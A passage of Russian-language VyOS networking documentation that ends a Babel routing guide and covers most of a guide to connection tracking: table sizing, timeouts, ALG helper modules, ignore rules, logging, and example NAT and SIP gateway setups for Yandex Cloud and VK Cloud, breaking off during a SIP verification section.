### Параметры по умолчанию

| Параметр | Значение | Описание |
|----------|----------|----------|
| Hello interval | 4 секунды | Интервал отправки hello-сообщений |
| Update interval | 16 секунд | Интервал отправки update-сообщений |
| Hold time | 14 секунд (3.5 × hello) | Время удержания соседа без hello |
| Wired cost | 96 | Базовая стоимость для проводных каналов |
| Wireless cost | 256 | Базовая стоимость для беспроводных каналов |
| UDP port | 6696 | Порт для Babel протокола |
| IPv4 multicast | 224.0.0.1 | Multicast группа для IPv4 |
| IPv6 multicast | ff02::1:6 | Multicast группа для IPv6 |
| Administrative Distance | 100 | AD в FRR routing table |

### Команды конфигурации (краткий справочник)

```bash
# Включение Babel на интерфейсе
set protocols babel interface <name>
set protocols babel interface <name> type [auto|wired|wireless]

# Параметры интерфейса
set protocols babel interface <name> hello-interval <seconds>
set protocols babel interface <name> update-interval <seconds>
set protocols babel interface <name> rxcost <cost>
set protocols babel interface <name> split-horizon [enable|disable]

# RTT параметры
set protocols babel interface <name> enable-timestamps
set protocols babel interface <name> rtt-min <ms>
set protocols babel interface <name> rtt-max <ms>
set protocols babel interface <name> rtt-decay <seconds>

# Diversity routing
set protocols babel diversity
set protocols babel diversity-factor <1-256>
set protocols babel interface <name> channel <number>

# Перераспределение
set protocols babel redistribute [ipv4|ipv6] [connected|static|ospf|bgp|rip|isis|eigrp|kernel]

# Фильтрация
set protocols babel interface <name> import-filter [access-list|prefix-list] <name>
set protocols babel interface <name> export-filter [access-list|prefix-list] <name>
```

### Команды просмотра (краткий справочник)

```bash
# Статус и информация
show babel summary
show babel neighbors
show babel routes
show babel routes ipv6
show babel routes installed
show babel interfaces
show babel interface <name>

# Конфигурация
show configuration protocols babel

# Маршруты в kernel
show ip route babel
show ipv6 route babel

# Мониторинг
monitor protocol babel
monitor log babel
```

## Заключение

Babel - это современный и эффективный протокол маршрутизации для mesh-сетей, который предлагает простоту настройки в сочетании с надежностью и производительностью. Его поддержка dual-stack IPv4/IPv6, адаптивные метрики и гарантированное отсутствие петель делают его отличным выбором для:

- Mesh-сетей в облачных провайдерах (Yandex Cloud, VK Cloud)
- Overlay-сетей поверх VPN туннелей (WireGuard, IPsec)
- Гибридных проводных/беспроводных сетей
- Отказоустойчивых топологий с множественными путями

При правильной конфигурации и следовании best practices, Babel обеспечивает стабильную и предсказуемую маршрутизацию даже в динамически изменяющихся средах.

### Дальнейшие шаги

1. Изучить другие протоколы маршрутизации VyOS для сравнения
2. Протестировать Babel в лабораторной среде перед production развертыванием
3. Настроить мониторинг и алертинг для Babel метрик
4. Документировать специфичные для вашей инфраструктуры настройки
5. Регулярно обновлять VyOS для получения последних улучшений Babel

---

**Версия документа**: 1.0
**Дата создания**: 2025-01-15
**Применимо к**: VyOS 1.3+, VyOS 1.4 (Sagitta), VyOS 1.5 (Circinus)
**Автор**: OpenNix Documentation Team


---

# Conntrack - Отслеживание соединений

Source: https://opennix.org/docs/vyos/system/vyos-conntrack/


## Обзор

Connection Tracking (conntrack) - это подсистема ядра Linux, которая отслеживает состояние сетевых соединений, проходящих через VyOS. Эта функциональность является основой для:

- **Stateful-файрволов** - фильтрация пакетов на основе состояния соединения
- **NAT (Network Address Translation)** - трансляция сетевых адресов
- **Load balancing** - балансировка нагрузки
- **QoS** - управление качеством обслуживания

Conntrack автоматически активируется при настройке stateful-правил файрвола или NAT и ведет учет всех активных соединений в специальной таблице состояний.

### Основные возможности

- Отслеживание TCP, UDP, ICMP и других протоколов
- Поддержка Application Layer Gateways (ALG) для сложных протоколов
- Гибкая настройка таймаутов для различных состояний соединений
- Возможность игнорирования отслеживания для определенного трафика
- Детальное логирование событий соединений
- Тонкая настройка производительности через параметры хеш-таблиц

### Когда необходима настройка conntrack

1. **Высоконагруженные NAT-шлюзы** - требуется увеличение размера таблицы соединений
2. **VoIP-шлюзы** - необходима настройка SIP ALG и таймаутов UDP
3. **FTP-серверы** - требуется активация FTP helper module
4. **Оптимизация памяти** - снижение таймаутов для освобождения ресурсов
5. **Отладка проблем** - включение логирования для диагностики
6. **Bypass conntrack** - исключение определенного трафика из отслеживания

## Архитектура conntrack

### Таблица соединений

Conntrack хранит информацию о каждом отслеживаемом соединении в таблице, включая:

- **Source IP/Port** - исходящий адрес и порт
- **Destination IP/Port** - адрес и порт назначения
- **Protocol** - протокол (TCP, UDP, ICMP и т.д.)
- **State** - текущее состояние соединения
- **Timeout** - время до удаления записи
- **Mark** - метка для маршрутизации и QoS
- **Helper** - ассоциированный helper module (для FTP, SIP и т.д.)

### Состояния TCP-соединений

Conntrack отслеживает следующие состояния TCP:

- **SYN_SENT** - отправлен SYN, ожидание SYN-ACK
- **SYN_RECV** - получен SYN, отправлен SYN-ACK
- **ESTABLISHED** - соединение установлено
- **FIN_WAIT** - инициирован FIN, ожидание закрытия
- **CLOSE_WAIT** - получен FIN, ожидание закрытия от приложения
- **LAST_ACK** - отправлен последний ACK
- **TIME_WAIT** - соединение закрыто, ожидание возможных повторов
- **CLOSE** - соединение полностью закрыто

### Состояния UDP и других протоколов

Для протоколов без установления соединения:

- **NEW** - первый пакет соединения
- **ESTABLISHED** - ответный пакет получен
- **UNREPLIED** - ответ не получен в течение таймаута

## Настройка размера таблицы соединений

### Определение необходимого размера

Размер таблицы conntrack должен учитывать максимальное количество одновременных соединений. Формула оценки:

```
Table Size = (Expected Connections × 1.5) + Safety Margin
```

Факторы, влияющие на размер:

- **Количество пользователей** - среднее количество клиентов
- **Тип трафика** - HTTP/HTTPS (короткие соединения) vs SSH/VPN (долгие)
- **NAT** - каждое NAT-соединение занимает запись
- **Таймауты** - длинные таймауты = больше записей

### Конфигурация размера таблицы

```bash
# Установка размера таблицы соединений (по умолчанию: 262144)
set system conntrack table-size '524288'

# Установка размера таблицы ожиданий (по умолчанию: 2048)
# Используется для helper modules (FTP, SIP и т.д.)
set system conntrack expect-table-size '4096'

# Установка размера хеш-таблицы (по умолчанию: 32768)
# Влияет на скорость поиска в таблице
set system conntrack hash-size '65536'
```

### Рекомендации по размерам

| Сценарий | Table Size | Hash Size | Expect Table |
|----------|-----------|-----------|--------------|
| Малый офис (до 50 пользователей) | 65536 | 16384 | 1024 |
| Средний офис (50-200 пользователей) | 262144 | 32768 | 2048 |
| Крупный офис (200-1000 пользователей) | 524288 | 65536 | 4096 |
| Дата-центр / ISP | 2097152+ | 262144+ | 8192+ |

### Расчет требуемой памяти

Каждая запись conntrack занимает приблизительно **350 байт** памяти:

```
Memory (MB) = (Table Size × 350) / 1048576

Примеры:
- 262144 записей = ~87 МБ
- 524288 записей = ~175 МБ
- 1048576 записей = ~350 МБ
- 2097152 записи = ~700 МБ
```

Убедитесь, что у маршрутизатора достаточно RAM для выбранного размера таблицы.

## Настройка таймаутов

### TCP таймауты

Conntrack поддерживает различные таймауты для каждого состояния TCP-соединения:

```bash
# Глобальные TCP настройки
set system conntrack tcp half-open-connections '512'    # Макс. half-open соединений
set system conntrack tcp loose 'enable'                  # Отслеживание mid-stream соединений
set system conntrack tcp max-retrans '3'                 # Макс. попыток ретрансмиссии

# Таймауты для различных состояний TCP (в секундах)
set system conntrack timeout tcp close '10'              # STATE: CLOSE
set system conntrack timeout tcp close-wait '60'         # STATE: CLOSE_WAIT
set system conntrack timeout tcp established '432000'    # STATE: ESTABLISHED (5 дней)
set system conntrack timeout tcp fin-wait '120'          # STATE: FIN_WAIT
set system conntrack timeout tcp last-ack '30'           # STATE: LAST_ACK
set system conntrack timeout tcp syn-recv '60'           # STATE: SYN_RECV
set system conntrack timeout tcp syn-sent '120'          # STATE: SYN_SENT
set system conntrack timeout tcp time-wait '120'         # STATE: TIME_WAIT
```

### UDP таймауты

```bash
# Таймауты UDP (в секундах)
set system conntrack timeout udp stream '180'     # Двунаправленный UDP (ответ получен)
set system conntrack timeout udp other '30'       # Однонаправленный UDP (ответа нет)
```

### ICMP таймауты

```bash
# Таймаут ICMP (в секундах)
set system conntrack timeout icmp '30'
```

### Generic таймауты

```bash
# Таймауты для других протоколов (в секундах)
set system conntrack timeout other '600'      # Прочие протоколы
```

### Оптимизация таймаутов для различных сценариев

#### Сценарий 1: Высоконагруженный HTTP/HTTPS прокси

```bash
# Уменьшение таймаутов для быстрого освобождения записей
set system conntrack timeout tcp close '5'
set system conntrack timeout tcp close-wait '30'
set system conntrack timeout tcp established '7200'    # 2 часа вместо 5 дней
set system conntrack timeout tcp fin-wait '60'
set system conntrack timeout tcp last-ack '15'
set system conntrack timeout tcp time-wait '60'
```

#### Сценарий 2: VPN/SSH сервер с долгими соединениями

```bash
# Увеличение таймаутов для стабильных соединений
set system conntrack timeout tcp established '864000'  # 10 дней
set system conntrack timeout tcp fin-wait '180'
set system conntrack timeout tcp time-wait '180'
```

#### Сценарий 3: VoIP/SIP сервер

```bash
# Оптимизация для UDP-трафика
set system conntrack timeout udp stream '300'    # 5 минут для активных RTP потоков
set system conntrack timeout udp other '60'      # 1 минута для SIP сигнализации
```

## Helper Modules (ALG)

Helper modules (Application Layer Gateways) обеспечивают корректную работу сложных протоколов, которые:

- Открывают динамические порты
- Используют embedded IP-адреса в payload
- Требуют специальной обработки NAT

### Доступные Helper Modules

По умолчанию все helper modules **включены**. Вы можете отключить ненужные для улучшения безопасности и производительности.

#### FTP Helper

```bash
# Отключение FTP helper (по умолчанию: включен)
set system conntrack modules ftp disable

# FTP helper обрабатывает:
# - Команду PORT для активного FTP
# - Команду PASV для пассивного FTP
# - Динамические data-соединения на портах >1024
```

**Когда отключать:** Если FTP не используется, отключите для безопасности.

#### H.323 Helper

```bash
# Отключение H.323 helper
set system conntrack modules h323 disable

# H.323 используется для:
# - VoIP (альтернатива SIP)
# - Видеоконференции
# - Динамические RTP/RTCP потоки
```

**Когда отключать:** Если не используется H.323 VoIP-оборудование.

#### NFS Helper

```bash
# Отключение NFS helper
set system conntrack modules nfs disable

# NFS helper поддерживает:
# - Network File System v3
# - Динамические RPC-порты
```

**Когда отключать:** Если NFS не используется в сети.

#### PPTP Helper

```bash
# Отключение PPTP helper
set system conntrack modules pptp disable

# PPTP helper обрабатывает:
# - GRE туннели для PPTP VPN
# - Control-соединения на порту 1723
```

**Когда отключать:** Если PPTP VPN не используется (рекомендуется использовать IPsec/WireGuard).

#### SIP Helper

```bash
# Отключение SIP helper
set system conntrack modules sip disable

# SIP helper обрабатывает:
# - SDP (Session Description Protocol) в SIP-сообщениях
# - Динамические RTP/RTCP порты для аудио/видео
# - NAT traversal для SIP
```

**Когда отключать:** Если VoIP не используется. **ВАЖНО:** Для корректной работы SIP через NAT helper должен быть включен.

#### SQLNet Helper

```bash
# Отключение SQLNet helper
set system conntrack modules sqlnet disable

# SQLNet используется для:
# - Oracle Database соединений
# - Динамические порты Oracle
```

**Когда отключать:** Если Oracle Database не используется.

#### TFTP Helper

```bash
# Отключение TFTP helper
set system conntrack modules tftp disable

# TFTP helper обрабатывает:
# - Trivial File Transfer Protocol
# - Динамические UDP-порты для передачи данных
```

**Когда отключать:** Если TFTP не используется (например, для загрузки конфигураций IP-телефонов).

### Рекомендации по безопасности

Отключайте неиспользуемые helper modules:

```bash
# Минимальная конфигурация для типового офиса
set system conntrack modules ftp disable     # Если FTP не используется
set system conntrack modules h323 disable    # Если используется только SIP
set system conntrack modules nfs disable     # Обычно не требуется
set system conntrack modules pptp disable    # Используйте современные VPN
set system conntrack modules sqlnet disable  # Если нет Oracle DB
set system conntrack modules tftp disable    # Если не используется

# Оставить включенным только SIP (если используется VoIP)
# SIP helper включен по умолчанию
```

## Правила игнорирования (Ignore Rules)

Ignore rules позволяют исключить определенный трафик из таблицы conntrack. Это полезно для:

- **Высокопроизводительных серверов** - исключение внутреннего трафика
- **Снижения нагрузки** - bypass conntrack для доверенного трафика
- **Специфичных протоколов** - трафик, не требующий отслеживания состояния

### Синтаксис ignore rules

```bash
set system conntrack ignore rule <number>
```

### Критерии фильтрации

#### Фильтрация по адресу назначения

```bash
# Игнорировать трафик к определенному IP
set system conntrack ignore rule 10 destination address '192.168.100.10'

# Игнорировать трафик к подсети
set system conntrack ignore rule 20 destination address '10.0.0.0/8'
```

#### Фильтрация по порту назначения

```bash
# Игнорировать трафик на порт 80
set system conntrack ignore rule 30 destination port '80'

# Игнорировать диапазон портов
set system conntrack ignore rule 40 destination port '8000-8999'
```

#### Фильтрация по исходящему адресу

```bash
# Игнорировать трафик от определенного IP
set system conntrack ignore rule 50 source address '192.168.1.100'

# Игнорировать трафик от подсети
set system conntrack ignore rule 60 source address '172.16.0.0/12'
```

#### Фильтрация по исходящему порту

```bash
# Игнорировать трафик с определенного порта
set system conntrack ignore rule 70 source port '53'
```

#### Фильтрация по протоколу

```bash
# Игнорировать весь ICMP трафик
set system conntrack ignore rule 80 protocol 'icmp'

# Игнорировать весь UDP трафик
set system conntrack ignore rule 90 protocol 'udp'

# Поддерживаемые протоколы: tcp, udp, icmp, all
```

#### Фильтрация по входящему интерфейсу

```bash
# Игнорировать трафик с интерфейса eth2
set system conntrack ignore rule 100 inbound-interface 'eth2'
```

#### Фильтрация по TCP флагам

```bash
# Игнорировать TCP-пакеты с установленным флагом SYN
set system conntrack ignore rule 110 protocol 'tcp'
set system conntrack ignore rule 110 tcp flags syn
```

### Практические примеры

#### Пример 1: Игнорирование внутреннего DNS-трафика

```bash
# DNS-запросы между серверами не требуют conntrack
set system conntrack ignore rule 10 description 'Bypass internal DNS'
set system conntrack ignore rule 10 destination address '192.168.1.53'
set system conntrack ignore rule 10 destination port '53'
set system conntrack ignore rule 10 protocol 'udp'
```

#### Пример 2: Игнорирование мониторинга health checks

```bash
# Исключить health checks от load balancer
set system conntrack ignore rule 20 description 'Bypass load balancer health checks'
set system conntrack ignore rule 20 source address '10.0.1.10'
set system conntrack ignore rule 20 destination port '80,443'
set system conntrack ignore rule 20 protocol 'tcp'
```

#### Пример 3: Игнорирование трафика между доверенными серверами

```bash
# Bypass conntrack для трафика между backend серверами
set system conntrack ignore rule 30 description 'Bypass trusted backend network'
set system conntrack ignore rule 30 source address '10.10.0.0/24'
set system conntrack ignore rule 30 destination address '10.10.0.0/24'
```

#### Пример 4: Игнорирование высокочастотного syslog трафика

```bash
# Syslog трафик создает много коротких UDP соединений
set system conntrack ignore rule 40 description 'Bypass syslog traffic'
set system conntrack ignore rule 40 destination port '514'
set system conntrack ignore rule 40 protocol 'udp'
```

### Важные замечания

1. **Порядок правил** - правила применяются в порядке номеров
2. **Влияние на NAT** - игнорируемый трафик не может использовать NAT
3. **Влияние на Firewall** - stateful правила файрвола не работают для игнорируемого трафика
4. **Производительность** - используйте осторожно, bypass conntrack может привести к проблемам безопасности

## Логирование conntrack

Conntrack может логировать события соединений для отладки и аудита.

### Типы событий

```bash
# Логирование новых соединений
set system conntrack log event new

# Логирование обновлений соединений
set system conntrack log event update

# Логирование уничтожения соединений
set system conntrack log event destroy
```

### Фильтрация по протоколу

```bash
# Логировать только TCP события
set system conntrack log event new protocol 'tcp'

# Логировать только UDP события
set system conntrack log event update protocol 'udp'

# Логировать только ICMP события
set system conntrack log event destroy protocol 'icmp'

# Логировать прочие протоколы
set system conntrack log event new protocol 'other'
```

### Настройка размера очереди

```bash
# Установить размер очереди логов (100-999999, по умолчанию: 0)
# Большая очередь предотвращает потерю логов при высокой нагрузке
set system conntrack log event new queue-size '10000'
```

### Полная конфигурация логирования

```bash
# Детальное логирование TCP соединений
set system conntrack log event new
set system conntrack log event new protocol 'tcp'
set system conntrack log event new queue-size '10000'

set system conntrack log event destroy
set system conntrack log event destroy protocol 'tcp'
set system conntrack log event destroy queue-size '10000'

# Сохранение и применение
commit
save
```

### Просмотр логов

```bash
# Просмотр логов conntrack в системных логах
show log conntrack

# Использование journalctl для фильтрации
journalctl -xe | grep conntrack
```

### Рекомендации по логированию

- **Production** - логировать только критичные события (new для отладки)
- **Development** - можно включить все события для диагностики
- **High-load** - увеличьте queue-size для предотвращения потери логов
- **Disk space** - логирование создает большой объем данных, используйте rotation

## Настройка кастомных таймаутов (Custom Timeouts)

Custom timeouts позволяют настроить специфичные таймауты для определенных подмножеств трафика на основе правил.

### IPv4 Custom Timeouts

```bash
# Создание правила с кастомным таймаутом
set system conntrack timeout custom ipv4 rule <number>
```

#### Фильтрация по адресу назначения

```bash
# Применить таймауты для трафика к определенному адресу
set system conntrack timeout custom ipv4 rule 10 destination address '192.168.1.100'
```

#### Фильтрация по порту назначения

```bash
# Применить таймауты для трафика на определенный порт
set system conntrack timeout custom ipv4 rule 20 destination port '80'
```

#### Фильтрация по протоколу

```bash
# Применить таймауты для определенного протокола
set system conntrack timeout custom ipv4 rule 30 protocol 'tcp'
set system conntrack timeout custom ipv4 rule 30 protocol tcp close-wait '30'
set system conntrack timeout custom ipv4 rule 30 protocol tcp established '3600'
```

#### Фильтрация по исходящему адресу

```bash
# Применить таймауты для трафика от определенного адреса
set system conntrack timeout custom ipv4 rule 40 source address '10.0.0.0/8'
```

#### Фильтрация по исходящему порту

```bash
# Применить таймауты для трафика с определенного порта
set system conntrack timeout custom ipv4 rule 50 source port '5060'
```

### IPv6 Custom Timeouts

```bash
# Создание правила с кастомным таймаутом для IPv6
set system conntrack timeout custom ipv6 rule <number>

# Синтаксис аналогичен IPv4
set system conntrack timeout custom ipv6 rule 10 destination address '2001:db8::1'
set system conntrack timeout custom ipv6 rule 10 protocol 'tcp'
set system conntrack timeout custom ipv6 rule 10 protocol tcp established '7200'
```

### Практические примеры custom timeouts

#### Пример 1: Короткие таймауты для HTTP/HTTPS

```bash
# HTTP трафик обычно состоит из коротких соединений
set system conntrack timeout custom ipv4 rule 10 description 'Short timeouts for HTTP/HTTPS'
set system conntrack timeout custom ipv4 rule 10 destination port '80,443'
set system conntrack timeout custom ipv4 rule 10 protocol 'tcp'
set system conntrack timeout custom ipv4 rule 10 protocol tcp close-wait '15'
set system conntrack timeout custom ipv4 rule 10 protocol tcp established '1800'
set system conntrack timeout custom ipv4 rule 10 protocol tcp time-wait '30'
```

#### Пример 2: Длинные таймауты для SSH

```bash
# SSH соединения могут быть долгими и неактивными
set system conntrack timeout custom ipv4 rule 20 description 'Long timeouts for SSH'
set system conntrack timeout custom ipv4 rule 20 destination port '22'
set system conntrack timeout custom ipv4 rule 20 protocol 'tcp'
set system conntrack timeout custom ipv4 rule 20 protocol tcp established '86400'  # 24 часа
```

#### Пример 3: Оптимизация для SIP/RTP

```bash
# SIP сигнализация (UDP)
set system conntrack timeout custom ipv4 rule 30 description 'SIP signaling'
set system conntrack timeout custom ipv4 rule 30 destination port '5060'
set system conntrack timeout custom ipv4 rule 30 protocol 'udp'
set system conntrack timeout custom ipv4 rule 30 protocol udp stream '180'

# RTP media (UDP)
set system conntrack timeout custom ipv4 rule 40 description 'RTP media streams'
set system conntrack timeout custom ipv4 rule 40 destination port '10000-20000'
set system conntrack timeout custom ipv4 rule 40 protocol 'udp'
set system conntrack timeout custom ipv4 rule 40 protocol udp stream '300'
```

#### Пример 4: Таймауты для конкретного сервера

```bash
# Особые таймауты для критичного сервера приложений
set system conntrack timeout custom ipv4 rule 50 description 'Application server timeouts'
set system conntrack timeout custom ipv4 rule 50 destination address '192.168.100.10'
set system conntrack timeout custom ipv4 rule 50 protocol 'tcp'
set system conntrack timeout custom ipv4 rule 50 protocol tcp established '14400'  # 4 часа
set system conntrack timeout custom ipv4 rule 50 protocol tcp close-wait '60'
```

## Yandex Cloud: Высокопроизводительный NAT Gateway

### Сценарий

Развертывание NAT-шлюза в Yandex Cloud для обеспечения доступа в интернет для приватной подсети с множеством микросервисов. Требования:

- Поддержка до 100,000 одновременных соединений
- Оптимизация для короткоживущих HTTP/HTTPS соединений
- Минимальное потребление памяти
- Высокая производительность обработки пакетов

### Топология

```
Internet (eth0: 192.0.2.10/24)
    |
[VyOS NAT Gateway - Yandex Cloud Compute Instance]
    |
Private Network (eth1: 10.128.0.1/24)
    |
[Микросервисы: 10.128.0.10-254]
```

### Полная конфигурация

```bash
# Базовая настройка интерфейсов
set interfaces ethernet eth0 address '192.0.2.10/24'
set interfaces ethernet eth0 description 'WAN - Yandex Cloud External Network'
set interfaces ethernet eth1 address '10.128.0.1/24'
set interfaces ethernet eth1 description 'LAN - Private Subnet'

# Настройка NAT
set nat source rule 100 description 'NAT for private network'
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '10.128.0.0/24'
set nat source rule 100 translation address 'masquerade'

# Оптимизация conntrack для высокой нагрузки
set system conntrack table-size '262144'        # 256K соединений
set system conntrack hash-size '65536'          # Ускорение поиска
set system conntrack expect-table-size '2048'   # Стандартный размер

# Агрессивные таймауты для освобождения записей
set system conntrack timeout tcp close '5'
set system conntrack timeout tcp close-wait '30'
set system conntrack timeout tcp established '3600'    # 1 час для HTTP
set system conntrack timeout tcp fin-wait '60'
set system conntrack timeout tcp last-ack '15'
set system conntrack timeout tcp syn-recv '30'
set system conntrack timeout tcp syn-sent '60'
set system conntrack timeout tcp time-wait '30'

# Короткие UDP таймауты
set system conntrack timeout udp stream '60'
set system conntrack timeout udp other '30'

# Отключение неиспользуемых helper modules
set system conntrack modules ftp disable
set system conntrack modules h323 disable
set system conntrack modules nfs disable
set system conntrack modules pptp disable
set system conntrack modules sip disable
set system conntrack modules sqlnet disable
set system conntrack modules tftp disable

# TCP параметры для высокой нагрузки
set system conntrack tcp half-open-connections '1024'
set system conntrack tcp loose 'enable'
set system conntrack tcp max-retrans '3'

# Игнорирование health checks от Yandex Cloud Load Balancer
set system conntrack ignore rule 10 description 'Bypass Yandex CLB health checks'
set system conntrack ignore rule 10 source address '198.18.235.0/24'
set system conntrack ignore rule 10 destination port '80,443'
set system conntrack ignore rule 10 protocol 'tcp'

# Firewall для WAN интерфейса
set firewall ipv4 name WAN_LOCAL default-action 'drop'
set firewall ipv4 name WAN_LOCAL rule 10 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 10 state established
set firewall ipv4 name WAN_LOCAL rule 10 state related
set firewall ipv4 name WAN_LOCAL rule 20 action 'drop'
set firewall ipv4 name WAN_LOCAL rule 20 state invalid
set firewall ipv4 name WAN_LOCAL rule 30 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 30 protocol 'icmp'

set firewall ipv4 input filter name 'WAN_LOCAL'

# Сохранение конфигурации
commit
save
```

### Мониторинг и проверка

```bash
# Просмотр статистики conntrack
show conntrack statistics

# Текущее количество соединений
show conntrack table ipv4 | count

# Топ хостов по количеству соединений
conntrack -L -o extended | awk '{print $5}' | sort | uniq -c | sort -rn | head -20

# Проверка использования таблицы (процент заполнения)
echo "scale=2; $(cat /proc/sys/net/netfilter/nf_conntrack_count) * 100 / $(cat /proc/sys/net/netfilter/nf_conntrack_max)" | bc

# Мониторинг производительности NAT
show nat source statistics

# Проверка игнорируемых правил
show system conntrack ignore
```

### Рекомендации для Yandex Cloud

1. **Instance Type** - используйте инстансы с достаточным количеством RAM (минимум 4GB для 256K соединений)
2. **Network Performance** - выбирайте инстансы с высокой пропускной способностью сети
3. **Placement Groups** - для HA разместите несколько NAT-шлюзов в разных зонах доступности
4. **Cloud Monitoring** - интегрируйте с Yandex Monitoring для отслеживания метрик conntrack
5. **Backup** - регулярно сохраняйте конфигурацию в Yandex Object Storage

### Troubleshooting в Yandex Cloud

```bash
# Проверка conntrack table full ошибок
dmesg | grep "nf_conntrack: table full"

# Проверка dropped packets
show interfaces ethernet eth0 statistics

# Проверка NAT translations
show nat source translations

# Проверка системных ресурсов
show system resources
```

## VK Cloud: SIP ALG для VoIP-шлюза

### Сценарий

Настройка VyOS в VK Cloud (Mail.ru Cloud Solutions) в качестве пограничного маршрутизатора для офиса с IP-телефонией. Требования:

- Поддержка SIP-регистраций от 50 IP-телефонов
- Корректная работа SIP ALG для NAT traversal
- Оптимизированные таймауты для RTP/RTCP потоков
- QoS для голосового трафика
- Отказоустойчивость при регистрации на внешнем SIP-провайдере

### Топология

```
Internet (eth0: 95.163.248.10/24) - VK Cloud External Network
    |
[VyOS SIP Gateway - VK Cloud Instance]
    |
Office LAN (eth1: 192.168.1.1/24)
    |
[IP-телефоны: 192.168.1.100-150]
    |
SIP Provider: sip.provider.ru (UDP/5060, RTP/10000-20000)
```

### Полная конфигурация

```bash
# Базовая настройка интерфейсов
set interfaces ethernet eth0 address '95.163.248.10/24'
set interfaces ethernet eth0 description 'WAN - VK Cloud External'
set interfaces ethernet eth1 address '192.168.1.1/24'
set interfaces ethernet eth1 description 'LAN - Office Network'

# Настройка DNS для резолвинга SIP-провайдера
set system name-server '8.8.8.8'
set system name-server '8.8.4.4'

# NAT для офисной сети
set nat source rule 100 description 'Office NAT'
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '192.168.1.0/24'
set nat source rule 100 translation address 'masquerade'

# Conntrack: увеличение таблицы для поддержки множественных RTP-потоков
# Каждый активный звонок = минимум 2 соединения (SIP + RTP)
# 50 телефонов × 4 соединения на звонок × 2 (запас) = ~400 соединений
set system conntrack table-size '65536'
set system conntrack hash-size '16384'
set system conntrack expect-table-size '4096'   # Важно для SIP ALG!

# КРИТИЧНО: Включение SIP helper module для NAT traversal
# По умолчанию включен, явная проверка:
delete system conntrack modules sip disable     # Убедиться, что НЕ отключен

# Включение других необходимых modules
delete system conntrack modules tftp disable    # Для provisioning IP-телефонов

# Отключение неиспользуемых modules
set system conntrack modules ftp disable
set system conntrack modules h323 disable
set system conntrack modules nfs disable
set system conntrack modules pptp disable
set system conntrack modules sqlnet disable

# Оптимизация UDP таймаутов для VoIP
set system conntrack timeout udp stream '180'   # 3 минуты для активных RTP
set system conntrack timeout udp other '60'     # 1 минута для SIP

# TCP таймауты (для SIP over TCP, если используется)
set system conntrack timeout tcp established '7200'  # 2 часа

# Кастомные таймауты для SIP сигнализации
set system conntrack timeout custom ipv4 rule 10 description 'SIP Signaling'
set system conntrack timeout custom ipv4 rule 10 destination port '5060'
set system conntrack timeout custom ipv4 rule 10 protocol 'udp'
set system conntrack timeout custom ipv4 rule 10 protocol udp stream '300'  # 5 минут
set system conntrack timeout custom ipv4 rule 10 protocol udp other '120'   # 2 минуты

# Кастомные таймауты для RTP media
set system conntrack timeout custom ipv4 rule 20 description 'RTP Media Streams'
set system conntrack timeout custom ipv4 rule 20 destination port '10000-20000'
set system conntrack timeout custom ipv4 rule 20 protocol 'udp'
set system conntrack timeout custom ipv4 rule 20 protocol udp stream '180'  # 3 минуты

# Кастомные таймауты для исходящих RTP (от телефонов)
set system conntrack timeout custom ipv4 rule 30 description 'RTP from phones'
set system conntrack timeout custom ipv4 rule 30 source address '192.168.1.100-192.168.1.150'
set system conntrack timeout custom ipv4 rule 30 source port '10000-20000'
set system conntrack timeout custom ipv4 rule 30 protocol 'udp'
set system conntrack timeout custom ipv4 rule 30 protocol udp stream '180'

# Firewall: разрешить входящие SIP и RTP
set firewall ipv4 name WAN_LOCAL default-action 'drop'
set firewall ipv4 name WAN_LOCAL rule 10 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 10 state established
set firewall ipv4 name WAN_LOCAL rule 10 state related
set firewall ipv4 name WAN_LOCAL rule 20 action 'drop'
set firewall ipv4 name WAN_LOCAL rule 20 state invalid

# SIP входящие звонки (если используется)
set firewall ipv4 name WAN_LOCAL rule 100 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 100 description 'Allow SIP from provider'
set firewall ipv4 name WAN_LOCAL rule 100 destination port '5060'
set firewall ipv4 name WAN_LOCAL rule 100 protocol 'udp'
set firewall ipv4 name WAN_LOCAL rule 100 source address 'sip.provider.ru'

# RTP входящие медиа
set firewall ipv4 name WAN_LOCAL rule 110 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 110 description 'Allow RTP from provider'
set firewall ipv4 name WAN_LOCAL rule 110 destination port '10000-20000'
set firewall ipv4 name WAN_LOCAL rule 110 protocol 'udp'
set firewall ipv4 name WAN_LOCAL rule 110 source address 'sip.provider.ru'

# ICMP для диагностики
set firewall ipv4 name WAN_LOCAL rule 200 action 'accept'
set firewall ipv4 name WAN_LOCAL rule 200 protocol 'icmp'

set firewall ipv4 input filter name 'WAN_LOCAL'

# QoS: приоритизация VoIP трафика (опционально)
set traffic-policy shaper OFFICE_SHAPER bandwidth '100mbit'
set traffic-policy shaper OFFICE_SHAPER default bandwidth '80%'
set traffic-policy shaper OFFICE_SHAPER default queue-type 'fair-queue'

# Высокий приоритет для VoIP
set traffic-policy shaper OFFICE_SHAPER class 10 description 'VoIP Traffic'
set traffic-policy shaper OFFICE_SHAPER class 10 bandwidth '20%'
set traffic-policy shaper OFFICE_SHAPER class 10 priority '1'
set traffic-policy shaper OFFICE_SHAPER class 10 match SIP ip dscp 'ef'
set traffic-policy shaper OFFICE_SHAPER class 10 match SIP ip protocol 'udp'
set traffic-policy shaper OFFICE_SHAPER class 10 match SIP ip destination port '5060'

set traffic-policy shaper OFFICE_SHAPER class 20 description 'RTP Media'
set traffic-policy shaper OFFICE_SHAPER class 20 bandwidth '20%'
set traffic-policy shaper OFFICE_SHAPER class 20 priority '2'
set traffic-policy shaper OFFICE_SHAPER class 20 match RTP ip protocol 'udp'
set traffic-policy shaper OFFICE_SHAPER class 20 match RTP ip destination port '10000-20000'

# Применение QoS на WAN интерфейс
set interfaces ethernet eth0 traffic-policy out 'OFFICE_SHAPER'

# Логирование для отладки SIP (временно)
set system conntrack log event new
set system conntrack log event new protocol 'udp'
set system conntrack log event new queue-size '5000'

# Сохранение
commit
save
```

### Проверка работоспособности SIP

```bash
# Проверка, что SIP helper загружен
lsmod | grep nf_conntrack_sip
lsmod | grep nf_nat_sip

# Просмотр SIP-соединений в conntrack
conntrack -L -p udp --dport 5060
conntrack -L -p udp --dport 5061  # Если используется SIP TLS

# Просмотр RTP-соединений (expected connections от SIP helper)
